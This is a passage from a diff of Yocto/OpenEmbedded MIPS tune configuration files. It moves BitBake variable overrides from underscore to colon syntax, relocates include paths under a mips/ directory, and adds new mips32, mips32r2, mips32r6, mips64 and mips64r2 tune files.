-BASE_LIB_tune-mips-nf = "lib"
-MIPSPKGSFX_VARIANT_tune-mips-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips-nf = "mips-nf"
-
-TUNE_FEATURES_tune-mips64-nf-n32 = "n32 bigendian"
-BASE_LIB_tune-mips64-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-nf-n32 = "mips64-nf-n32"
-
-TUNE_FEATURES_tune-mips64-nf = "n64 bigendian"
-BASE_LIB_tune-mips64-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-nf = "mips64-nf"
-
-TUNE_FEATURES_tune-mipsel-nf = "o32"
-BASE_LIB_tune-mipsel-nf = "lib"
-MIPSPKGSFX_VARIANT_tune-mipsel-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsel-nf = "mipsel-nf"
-
-TUNE_FEATURES_tune-mips64el-nf-n32 = "n32"
-BASE_LIB_tune-mips64el-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64el-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-nf-n32 = "mips64el-nf-n32"
-
-TUNE_FEATURES_tune-mips64el-nf = "n64"
-BASE_LIB_tune-mips64el-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64el-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-nf = "mips64el-nf"
+TUNE_FEATURES:tune-mips = "o32 bigendian fpu-hard"
+BASE_LIB:tune-mips = "lib"
+MIPSPKGSFX_VARIANT:tune-mips = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips = "mips"
+
+TUNE_FEATURES:tune-mips64-n32 = "n32 bigendian fpu-hard"
+BASE_LIB:tune-mips64-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-n32 = "mips64-n32"
+
+TUNE_FEATURES:tune-mips64 = "n64 bigendian fpu-hard"
+BASE_LIB:tune-mips64 = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64 = "mips64"
+
+TUNE_FEATURES:tune-mipsel = "o32 fpu-hard"
+BASE_LIB:tune-mipsel = "lib"
+MIPSPKGSFX_VARIANT:tune-mipsel = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsel = "mipsel"
+
+TUNE_FEATURES:tune-mips64el-n32 = "n32 fpu-hard"
+BASE_LIB:tune-mips64el-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64el-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-n32 = "mips64el-n32"
+
+TUNE_FEATURES:tune-mips64el = "n64 fpu-hard"
+BASE_LIB:tune-mips64el = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64el = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el = "mips64el"
+
+TUNE_FEATURES:tune-mips-nf = "o32 bigendian"
+BASE_LIB:tune-mips-nf = "lib"
+MIPSPKGSFX_VARIANT:tune-mips-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips-nf = "mips-nf"
+
+TUNE_FEATURES:tune-mips64-nf-n32 = "n32 bigendian"
+BASE_LIB:tune-mips64-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-nf-n32 = "mips64-nf-n32"
+
+TUNE_FEATURES:tune-mips64-nf = "n64 bigendian"
+BASE_LIB:tune-mips64-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-nf = "mips64-nf"
+
+TUNE_FEATURES:tune-mipsel-nf = "o32"
+BASE_LIB:tune-mipsel-nf = "lib"
+MIPSPKGSFX_VARIANT:tune-mipsel-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsel-nf = "mipsel-nf"
+
+TUNE_FEATURES:tune-mips64el-nf-n32 = "n32"
+BASE_LIB:tune-mips64el-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64el-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-nf-n32 = "mips64el-nf-n32"
+
+TUNE_FEATURES:tune-mips64el-nf = "n64"
+BASE_LIB:tune-mips64el-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64el-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-nf = "mips64el-nf"
# MIPS 64 + o32
AVAILTUNES += "mips64-o32 mips64el-o32"
-TUNE_FEATURES_tune-mips64-o32 = "o32 bigendian fpu-hard"
-BASE_LIB_tune-mips64-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-o32 = "mips mips64-o32"
+TUNE_FEATURES:tune-mips64-o32 = "o32 bigendian fpu-hard"
+BASE_LIB:tune-mips64-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-o32 = "mips mips64-o32"
-TUNE_FEATURES_tune-mips64el-o32 = "o32 fpu-hard"
-BASE_LIB_tune-mips64el-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64el-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-o32 = "mipsel mips64el-o32"
+TUNE_FEATURES:tune-mips64el-o32 = "o32 fpu-hard"
+BASE_LIB:tune-mips64el-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64el-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-o32 = "mipsel mips64el-o32"
# MIPS 64 o32 and Soft Float
AVAILTUNES += "mips64-nf-o32 mips64el-nf-o32"
-TUNE_FEATURES_tune-mips64-nf-o32 = "o32 bigendian"
-BASE_LIB_tune-mips64-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-nf-o32 = "mips-nf mips64-nf-o32"
+TUNE_FEATURES:tune-mips64-nf-o32 = "o32 bigendian"
+BASE_LIB:tune-mips64-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-nf-o32 = "mips-nf mips64-nf-o32"
-TUNE_FEATURES_tune-mips64el-nf-o32 = "o32"
-BASE_LIB_tune-mips64el-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64el-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-nf-o32 = "mipsel-nf mips64el-nf-o32"
+TUNE_FEATURES:tune-mips64el-nf-o32 = "o32"
+BASE_LIB:tune-mips64el-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64el-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-nf-o32 = "mipsel-nf mips64el-nf-o32"
diff --git a/meta/conf/machine/include/mips/feature-mips-mips16e.inc b/meta/conf/machine/include/mips/feature-mips-mips16e.inc
index 101d5331bc..6fd12fb842 100644
--- a/meta/conf/machine/include/mips/feature-mips-mips16e.inc
+++ b/meta/conf/machine/include/mips/feature-mips-mips16e.inc
@@ -11,7 +11,7 @@ MIPSPKGSFX_MIPS16E .= "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', '-m16',
TUNEVALID[no-interlink-compressed] = "Disable mixing of standard and MIPS16e code"
MIPS16_TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'no-interlink-compressed', ' -mno-interlink-compressed', ' -minterlink-compressed', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', ' ${MIPS16_TUNE_CCARGS}', '', d)}"
-OVERRIDES .= "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', ':mips16e', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', 'mips16e:', '', d)}"
# show status (if compiling in MIPS16e mode)
BUILDCFG_VARS += "${@['', 'MIPS_INSTRUCTION_SET'][d.getVar('MIPS_INSTRUCTION_SET') == 'mips16e']}"
diff --git a/meta/conf/machine/include/qemuboot-mips.inc b/meta/conf/machine/include/mips/qemuboot-mips.inc
index 230f032c53..4954f3068c 100644
--- a/meta/conf/machine/include/qemuboot-mips.inc
+++ b/meta/conf/machine/include/mips/qemuboot-mips.inc
@@ -5,4 +5,4 @@ QB_KERNEL_CMDLINE_APPEND = "console=ttyS0 console=tty"
QB_OPT_APPEND = "-usb -device usb-tablet"
# For graphics to work we need to define the VGA device as well as the necessary USB devices
-QB_OPT_APPEND += "-vga std"
+QB_GRAPHICS = "-vga std"
diff --git a/meta/conf/machine/include/mips/tune-mips-24k.inc b/meta/conf/machine/include/mips/tune-mips-24k.inc
index 828acd42e3..106ff62fbb 100644
--- a/meta/conf/machine/include/mips/tune-mips-24k.inc
+++ b/meta/conf/machine/include/mips/tune-mips-24k.inc
@@ -2,7 +2,7 @@ DEFAULTTUNE ?= "mips32r2-24kc"
MIPSPKGSFX_MIPS16E ??= ""
-require conf/machine/include/tune-mips32r2.inc
+require conf/machine/include/mips/tune-mips32r2.inc
require conf/machine/include/mips/feature-mips-mips16e.inc
@@ -16,36 +16,36 @@ AVAILTUNES += "mips32r2-24kc mips32r2-24kec mips32r2-24kec-m16"
AVAILTUNES += "mips32r2el-24kc mips32r2el-24kec mips32r2el-24kec-m16"
# big endian: kc, kc+dsp=kec, kc+dsp+mips16e=kec-m16
-TUNE_FEATURES_tune-mips32r2-24kc = "${TUNE_FEATURES_tune-mips32r2-nf} 24kc"
-TUNE_FEATURES_tune-mips32r2-24kec = "${TUNE_FEATURES_tune-mips32r2-nf} 24kec"
-TUNE_FEATURES_tune-mips32r2-24kec-m16 = "${TUNE_FEATURES_tune-mips32r2-24kec} mips16e"
+TUNE_FEATURES:tune-mips32r2-24kc = "${TUNE_FEATURES:tune-mips32r2-nf} 24kc"
+TUNE_FEATURES:tune-mips32r2-24kec = "${TUNE_FEATURES:tune-mips32r2-nf} 24kec"
+TUNE_FEATURES:tune-mips32r2-24kec-m16 = "${TUNE_FEATURES:tune-mips32r2-24kec} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2-24kc = "mips32r2-24kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-nf} mips32r2-24kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-24kc = "mips32r2-24kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-nf} mips32r2-24kc-nf"
QEMU_EXTRAOPTIONS_mips32r2-24kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2-24kec = "mips32r2-24kec"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kec = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kc} mips32r2-24kec-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-24kec = "mips32r2-24kec"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kec = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kc} mips32r2-24kec-nf"
QEMU_EXTRAOPTIONS_mips32r2-24kec-nf = " -cpu 24KEc"
-MIPSPKGSFX_VARIANT_tune-mips32r2-24kec-m16 = "mips32r2-24kec${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kec-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kec} mips32r2-24kec-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-24kec-m16 = "mips32r2-24kec${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kec-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kec} mips32r2-24kec-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2-24kec-m16-nf = " -cpu 24KEc"
# little endian: kc, kc+dsp=kec, kc+dsp+mips16e=kec-m16
-TUNE_FEATURES_tune-mips32r2el-24kc = "${TUNE_FEATURES_tune-mips32r2el-nf} 24kc"
-TUNE_FEATURES_tune-mips32r2el-24kec = "${TUNE_FEATURES_tune-mips32r2el-nf} 24kec"
-TUNE_FEATURES_tune-mips32r2el-24kec-m16 = "${TUNE_FEATURES_tune-mips32r2el-24kec} mips16e"
+TUNE_FEATURES:tune-mips32r2el-24kc = "${TUNE_FEATURES:tune-mips32r2el-nf} 24kc"
+TUNE_FEATURES:tune-mips32r2el-24kec = "${TUNE_FEATURES:tune-mips32r2el-nf} 24kec"
+TUNE_FEATURES:tune-mips32r2el-24kec-m16 = "${TUNE_FEATURES:tune-mips32r2el-24kec} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-24kc = "mips32r2el-24kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-nf} mips32r2el-24kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-24kc = "mips32r2el-24kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-nf} mips32r2el-24kc-nf"
QEMU_EXTRAOPTIONS_mips32r2el-24kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-24kec = "mips32r2el-24kec"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kec = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kc} mips32r2el-24kec-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-24kec = "mips32r2el-24kec"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kec = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kc} mips32r2el-24kec-nf"
QEMU_EXTRAOPTIONS_mips32r2el-24kec-nf = " -cpu 24KEc"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-24kec-m16 = "mips32r2el-24kec${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kec-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kec} mips32r2el-24kec-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-24kec-m16 = "mips32r2el-24kec${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kec-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kec} mips32r2el-24kec-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2el-24kec-m16-nf = " -cpu 24KEc"
diff --git a/meta/conf/machine/include/mips/tune-mips-74k.inc b/meta/conf/machine/include/mips/tune-mips-74k.inc
index 94afee34bd..e4927a1ce0 100644
--- a/meta/conf/machine/include/mips/tune-mips-74k.inc
+++ b/meta/conf/machine/include/mips/tune-mips-74k.inc
@@ -2,7 +2,7 @@ DEFAULTTUNE ?= "mips32r2-74kc"
MIPSPKGSFX_MIPS16E ??= ""
-require conf/machine/include/tune-mips32r2.inc
+require conf/machine/include/mips/tune-mips32r2.inc
require conf/machine/include/mips/feature-mips-mips16e.inc
@@ -13,25 +13,25 @@ AVAILTUNES += "mips32r2-74kc mips32r2-74kc-m16"
AVAILTUNES += "mips32r2el-74kc mips32r2el-74kc-m16"
# big endian: kc+dsp2=kc, kc+dsp2+mips16e=kc-m16
-TUNE_FEATURES_tune-mips32r2-74kc = "${TUNE_FEATURES_tune-mips32r2-nf} 74kc"
-TUNE_FEATURES_tune-mips32r2-74kc-m16 = "${TUNE_FEATURES_tune-mips32r2-74kc} mips16e"
+TUNE_FEATURES:tune-mips32r2-74kc = "${TUNE_FEATURES:tune-mips32r2-nf} 74kc"
+TUNE_FEATURES:tune-mips32r2-74kc-m16 = "${TUNE_FEATURES:tune-mips32r2-74kc} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2-74kc = "mips32r2-74kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-74kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-nf} mips32r2-74kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-74kc = "mips32r2-74kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-74kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-nf} mips32r2-74kc-nf"
QEMU_EXTRAOPTIONS_mips32r2-74kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2-74kc-m16 = "mips32r2-74kc${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-74kc-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-74kc} mips32r2-74kc-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-74kc-m16 = "mips32r2-74kc${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-74kc-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-74kc} mips32r2-74kc-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2-74kc-m16-nf = " -cpu 24KEc"
# little endian: kc+dsp2=kc, kc+dsp2+mips16e=kc-m16
-TUNE_FEATURES_tune-mips32r2el-74kc = "${TUNE_FEATURES_tune-mips32r2el-nf} 74kc"
-TUNE_FEATURES_tune-mips32r2el-74kc-m16 = "${TUNE_FEATURES_tune-mips32r2el-74kc} mips16e"
+TUNE_FEATURES:tune-mips32r2el-74kc = "${TUNE_FEATURES:tune-mips32r2el-nf} 74kc"
+TUNE_FEATURES:tune-mips32r2el-74kc-m16 = "${TUNE_FEATURES:tune-mips32r2el-74kc} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-74kc = "mips32r2el-74kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-74kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-nf} mips32r2el-74kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-74kc = "mips32r2el-74kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-74kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-nf} mips32r2el-74kc-nf"
QEMU_EXTRAOPTIONS_mips32r2el-74kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-74kc-m16 = "mips32r2el-74kc${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-74kc-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-74kc} mips32r2el-74kc-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-74kc-m16 = "mips32r2el-74kc${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-74kc-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-74kc} mips32r2el-74kc-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2el-74kc-m16-nf = " -cpu 24KEc"
diff --git a/meta/conf/machine/include/mips/tune-mips32.inc b/meta/conf/machine/include/mips/tune-mips32.inc
new file mode 100644
index 0000000000..820087f59d
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips32.inc
@@ -0,0 +1,29 @@
+DEFAULTTUNE ?= "mips32"
+
+require conf/machine/include/mips/arch-mips.inc
+
+TUNEVALID[mips32] = "Enable mips32 specific processor optimizations"
+TUNECONFLICTS[mips32] = "n64 n32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32', ' -march=mips32', '', d)}"
+
+# Base Tunes (Hard Float)
+AVAILTUNES += "mips32 mips32el"
+
+TUNE_FEATURES:tune-mips32 = "${TUNE_FEATURES:tune-mips} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32 = "mips32"
+PACKAGE_EXTRA_ARCHS:tune-mips32 = "mips mips32"
+
+TUNE_FEATURES:tune-mips32el = "${TUNE_FEATURES:tune-mipsel} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32el = "mips32el"
+PACKAGE_EXTRA_ARCHS:tune-mips32el = "mipsel mips32el"
+
+# Soft Float
+AVAILTUNES += "mips32-nf mips32el-nf"
+
+TUNE_FEATURES:tune-mips32-nf = "${TUNE_FEATURES:tune-mips-nf} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32-nf = "mips32"
+PACKAGE_EXTRA_ARCHS:tune-mips32-nf = "mips-nf mips32-nf"
+
+TUNE_FEATURES:tune-mips32el-nf = "${TUNE_FEATURES:tune-mipsel-nf} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32el-nf = "mips32el"
+PACKAGE_EXTRA_ARCHS:tune-mips32el-nf = "mipsel-nf mips32el-nf"
diff --git a/meta/conf/machine/include/mips/tune-mips32r2.inc b/meta/conf/machine/include/mips/tune-mips32r2.inc
new file mode 100644
index 0000000000..c868e925e9
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips32r2.inc
@@ -0,0 +1,29 @@
+DEFAULTTUNE ?= "mips32r2"
+
+require conf/machine/include/mips/tune-mips32.inc
+
+TUNEVALID[mips32r2] = "Enable mips32r2 specific processor optimizations"
+TUNECONFLICTS[mips32r2] = "n64 n32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32r2', ' -march=mips32r2', '', d)}"
+
+# Base Tunes (Hard Float)
+AVAILTUNES += "mips32r2 mips32r2el"
+
+TUNE_FEATURES:tune-mips32r2 = "${TUNE_FEATURES:tune-mips} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2 = "mips32r2"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2 = "mips mips32 mips32r2"
+
+TUNE_FEATURES:tune-mips32r2el = "${TUNE_FEATURES:tune-mipsel} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2el = "mips32r2el"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el = "mipsel mips32el mips32r2el"
+
+# Soft Float
+AVAILTUNES += "mips32r2-nf mips32r2el-nf"
+
+TUNE_FEATURES:tune-mips32r2-nf = "${TUNE_FEATURES:tune-mips-nf} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2-nf = "mips32r2"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-nf = "mips-nf mips32-nf mips32r2-nf"
+
+TUNE_FEATURES:tune-mips32r2el-nf = "${TUNE_FEATURES:tune-mipsel-nf} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-nf = "mips32r2el"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-nf = "mipsel-nf mips32el-nf mips32r2el-nf"
diff --git a/meta/conf/machine/include/mips/tune-mips32r6.inc b/meta/conf/machine/include/mips/tune-mips32r6.inc
new file mode 100644
index 0000000000..9904cc0b11
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips32r6.inc
@@ -0,0 +1,29 @@
+DEFAULTTUNE ?= "mipsisa32r6el"
+
+require conf/machine/include/mips/arch-mips.inc
+
+TUNEVALID[mipsisa32r6] = "Enable mipsisa32r6 specific processor optimizations"
+TUNECONFLICTS[mipsisa32r6] = "n64 n32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa32r6', ' -march=mips32r6', '', d)}"
+
+# Base Tunes (Hard Float)
+AVAILTUNES += "mipsisa32r6 mipsisa32r6el"
+
+TUNE_FEATURES:tune-mipsisa32r6 = "o32 bigendian mipsisa32r6 fpu-hard r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6 = "mipsisa32r6"
+
+TUNE_FEATURES:tune-mipsisa32r6el = "o32 fpu-hard mipsisa32r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6el = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6el = "mipsisa32r6el"
+
+# Soft Float
+AVAILTUNES += "mipsisa32r6-nf mipsisa32r6el-nf"
+
+TUNE_FEATURES:tune-mipsisa32r6-nf = "o32 bigendian mipsisa32r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6-nf = "mipsisa32r6-nf"
+
+TUNE_FEATURES:tune-mipsisa32r6el-nf = "o32 mipsisa32r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6el-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6el-nf = "mipsisa32r6el-nf"
diff --git a/meta/conf/machine/include/mips/tune-mips64.inc b/meta/conf/machine/include/mips/tune-mips64.inc
new file mode 100644
index 0000000000..a9080159fc
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips64.inc
@@ -0,0 +1,3 @@
+DEFAULTTUNE ?= "mips64"
+
+require conf/machine/include/mips/tune-mips32r2.inc
diff --git a/meta/conf/machine/include/mips/tune-mips64r2.inc b/meta/conf/machine/include/mips/tune-mips64r2.inc
new file mode 100644
index 0000000000..c644f40918
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips64r2.inc
@@ -0,0 +1,84 @@
+DEFAULTTUNE ?= "mips64r2"
+
+require conf/machine/include/mips/tune-mips64.inc
+
+TUNEVALID[mips64r2] = "Enable mips64r2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips64r2', ' -march=mips64r2', '', d)}"
+
+# Base tunes
+AVAILTUNES += "mips64r2 mips64r2el"
+
+TUNE_FEATURES:tune-mips64r2 = "${TUNE_FEATURES:tune-mips64} mips64r2"
+BASE_LIB:tune-mips64r2 = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2 = "mips64r2"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2 = "mips64 mips64r2"
+
+TUNE_FEATURES:tune-mips64r2el = "${TUNE_FEATURES:tune-mips64el} mips64r2"
+BASE_LIB:tune-mips64r2el = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2el = "mips64r2el"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el = "mips64el mips64r2el"
+
+# MIPS 64r2 Soft Float
+AVAILTUNES += "mips64r2-nf mips64r2el-nf"
+
+TUNE_FEATURES:tune-mips64r2-nf = "${TUNE_FEATURES:tune-mips64-nf} mips64r2"
+BASE_LIB:tune-mips64r2-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-nf = "mips64-nf mips64r2-nf"
+
+TUNE_FEATURES:tune-mips64r2el-nf = "${TUNE_FEATURES:tune-mips64el-nf} mips64r2"
+BASE_LIB:tune-mips64r2el-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-nf = "mips64el-nf mips64r2el-nf"
+
+# MIPS 64r2 n32
+AVAILTUNES += "mips64r2-n32 mips64r2el-n32"
+
+TUNE_FEATURES:tune-mips64r2-n32 = "${TUNE_FEATURES:tune-mips64-n32} mips64r2"
+BASE_LIB:tune-mips64r2-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-n32 = "mips64-n32 mips64r2-n32"
+
+TUNE_FEATURES:tune-mips64r2el-n32 = "${TUNE_FEATURES:tune-mips64el-n32} mips64r2"
+BASE_LIB:tune-mips64r2el-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-n32 = "mips64el-n32 mips64r2el-n32"
+
+# MIPS 64r2 n32 and Soft Float
+AVAILTUNES += "mips64r2-nf-n32 mips64r2el-nf-n32"
+
+TUNE_FEATURES:tune-mips64r2-nf-n32 = "${TUNE_FEATURES:tune-mips64-nf-n32} mips64r2"
+BASE_LIB:tune-mips64r2-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-nf-n32 = "mips64-nf-n32 mips64r2-nf-n32"
+
+TUNE_FEATURES:tune-mips64r2el-nf-n32 = "${TUNE_FEATURES:tune-mips64el-nf-n32} mips64r2"
+BASE_LIB:tune-mips64r2el-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-nf-n32 = "mips64el-nf-n32 mips64r2el-nf-n32"
+
+# MIPS 64r2 o32
+AVAILTUNES += "mips64r2-o32 mips64r2el-o32"
+
